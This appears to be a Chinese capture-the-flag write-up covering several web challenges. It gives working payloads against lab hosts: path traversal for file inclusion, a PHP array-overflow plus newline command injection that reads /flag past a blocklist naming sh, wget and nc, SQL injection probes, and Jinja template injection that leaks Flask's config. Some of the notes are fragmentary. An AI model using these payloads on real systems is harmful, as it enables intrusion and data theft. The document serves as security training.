攻防世界 web篇(六)
warmup
$whitelist = ["source"=>"source.php","hint"=>"hint.php"]; if (! isset($page) || !is_string($page)) { echo "you can't see it"; return false; } if (in_array($page, $whitelist)) { return true; }
第一个:检查一个变量是否为空
第二个:是否为字符串
第三个:通过函数来检查
条件:
allow_url_fopen:off/on
allow_url_include :off/on
include文件包含是遇到 …/…/会将以.开头,则解析器会在当前目录的父目录下寻找该文件
http://61.147.171.105:63713/source.php?file=hint.php%253f/../../../../../../ffffllllaaaagggg
favorite_number
打开页面
<?php //php5.5.9 $stuff = $_POST["stuff"]; $array = ['admin', 'user']; if($stuff === $array && $stuff[0] != 'admin') { $num= $_POST["num"]; if (preg_match("/^\d+$/im",$num)){ if (!preg_match("/sh|wget|nc|python|php|perl|\?|flag|}|cat|echo|\*|\^|\]|\\\\|'|\"|\|/i",$num)){ echo "my favorite num is:"; system("echo ".$num); }else{ echo 'Bonjour!'; } } } else { highlight_file(__FILE__); }
php的版本为5.5.9这里联想到一个数组下标溢出漏洞也就是说数组中键值为0的元素与键值为4294967296的元素是同一个
审计代码发现,通过POST方式传一个数组,传入的数组的内容必须与array数组内容全等,但这里有个矛盾,需要传入的数组的第一个元素不能为admin,但array数组的第一个元素就是admin,这里就要利用数组溢出漏洞了,使用如下payload
stuff[4294967296]=admin&stuff[1]=user&num=111
无法查看
查看文件id
我的504尝试另一种读取flag的方法:将/flag输出到一个文件中,读取这个文件即可
stuff[4294967296]=admin&stuff[]=user&num=666%0aprintf /fla > /tmp/hello %26%26 printf g >> /tmp/hello %26%26 tac `tac /tmp/hello`
warmup
用kali的dirb或者nikto:
http://61.147.171.105:54492/user.php.bak下载
<?php class UserInfo { public $name = ""; public $age = 0; public $blog = ""; public function __construct($name, $age, $blog) { $this->name = $name; $this->age = (int)$age; $this->blog = $blog; } function get($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); if($httpCode == 404) { return 404; } curl_close($ch); return $output; } public function getBlogContents () { return $this->get($this->blog); } public function isValidBlog () { $blog = $this->blog; return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog); } }
进来后姓名处
%20and%201=2
查找注入
shrine
import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read()\ @app.route('/shrine/') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)
使用Python内置函数读取全局变量 url_for或者get_flashed_messages
http://61.147.171.105:53847/shrine/%7B%7Burl_for.globals%7D%7D
可以解析到
看到了属性的东西,代码审计的时候有 app.config[‘FLAG’]
调用这个函数
python沙箱逃逸的方法是 利用python对象之间的引用关系来调用被禁用的函数对象
构造payloads: /shrine/{{url_for.globals[‘current_app’].config[‘FLAG’]}}
http://61.147.171.105:53847/shrine/%7B%7Burl_for.__globals__['current_app'].config['FLAG']%7D%7D